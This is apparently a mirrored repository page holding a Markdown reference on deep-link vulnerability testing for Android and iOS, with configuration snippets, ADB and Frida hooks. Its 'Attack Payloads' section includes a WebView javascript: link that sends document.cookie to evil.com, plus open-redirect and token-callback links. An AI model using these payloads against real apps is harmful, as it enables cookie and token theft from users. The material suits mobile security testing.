mirror of
https://github.com/SHOGGOTH-SECTOR/sica-fondt.git
synced 2026-08-01 00:23:15 +00:00
24f816b6a3
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):
- brain/ LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
dispatch, A51 channels, and the OSINT cluster
- knowledge/ LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
MITRE ATT&CK data
- reference/ defensive threat-reference (C3, shhbruh doc) + AdaYaml parser
License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.
Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.
https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
107 lines
2.5 KiB
Markdown
107 lines
2.5 KiB
Markdown
# API Reference: Deep Link Vulnerability Testing
|
|
|
|
## Android Deep Links
|
|
|
|
### AndroidManifest.xml Configuration
|
|
```xml
|
|
<activity android:name=".DeepLinkActivity" android:exported="true">
|
|
<intent-filter>
|
|
<action android:name="android.intent.action.VIEW"/>
|
|
<category android:name="android.intent.category.DEFAULT"/>
|
|
<category android:name="android.intent.category.BROWSABLE"/>
|
|
<data android:scheme="myapp" android:host="open"/>
|
|
</intent-filter>
|
|
</activity>
|
|
```
|
|
|
|
### ADB Testing
|
|
```bash
|
|
adb shell am start -W -a android.intent.action.VIEW \
|
|
-d "myapp://open/path?param=value" com.target.app
|
|
```
|
|
|
|
### Intent URI Scheme
|
|
```
|
|
intent://path#Intent;scheme=myapp;package=com.target.app;end
|
|
```
|
|
|
|
## iOS URL Schemes
|
|
|
|
### Info.plist Configuration
|
|
```xml
|
|
<key>CFBundleURLTypes</key>
|
|
<array>
|
|
<dict>
|
|
<key>CFBundleURLSchemes</key>
|
|
<array>
|
|
<string>myapp</string>
|
|
</array>
|
|
</dict>
|
|
</array>
|
|
```
|
|
|
|
### Universal Links (apple-app-site-association)
|
|
```json
|
|
{
|
|
"applinks": {
|
|
"apps": [],
|
|
"details": [{
|
|
"appID": "TEAM_ID.com.example.app",
|
|
"paths": ["/open/*", "/product/*"]
|
|
}]
|
|
}
|
|
}
|
|
```
|
|
|
|
## Vulnerability Types
|
|
|
|
| Type | Risk | Description |
|
|
|------|------|-------------|
|
|
| Open Redirect | HIGH | Deep link redirects to attacker URL |
|
|
| JavaScript Injection | CRITICAL | Code execution in WebView |
|
|
| Parameter Theft | HIGH | Token/credential exfiltration |
|
|
| Intent Redirect | HIGH | Android intent hijacking |
|
|
| Path Traversal | MEDIUM | Access unintended app sections |
|
|
|
|
## Attack Payloads
|
|
|
|
### Open Redirect
|
|
```
|
|
myapp://open?redirect=https://evil.com
|
|
myapp://open?url=javascript:alert(document.cookie)
|
|
```
|
|
|
|
### WebView JavaScript
|
|
```
|
|
myapp://webview?url=javascript:fetch('https://evil.com/'+document.cookie)
|
|
```
|
|
|
|
### Parameter Injection
|
|
```
|
|
myapp://auth?token=stolen&callback=https://evil.com
|
|
```
|
|
|
|
## Frida — Runtime Deep Link Testing
|
|
|
|
### Hook URL Handler (Android)
|
|
```javascript
|
|
Java.perform(function() {
|
|
var Activity = Java.use("android.app.Activity");
|
|
Activity.onNewIntent.implementation = function(intent) {
|
|
console.log("Deep link: " + intent.getData().toString());
|
|
this.onNewIntent(intent);
|
|
};
|
|
});
|
|
```
|
|
|
|
### Hook URL Handler (iOS)
|
|
```javascript
|
|
var handler = ObjC.classes.AppDelegate["- application:openURL:options:"];
|
|
Interceptor.attach(handler.implementation, {
|
|
onEnter: function(args) {
|
|
var url = ObjC.Object(args[3]);
|
|
console.log("URL scheme: " + url.toString());
|
|
}
|
|
});
|
|
```
|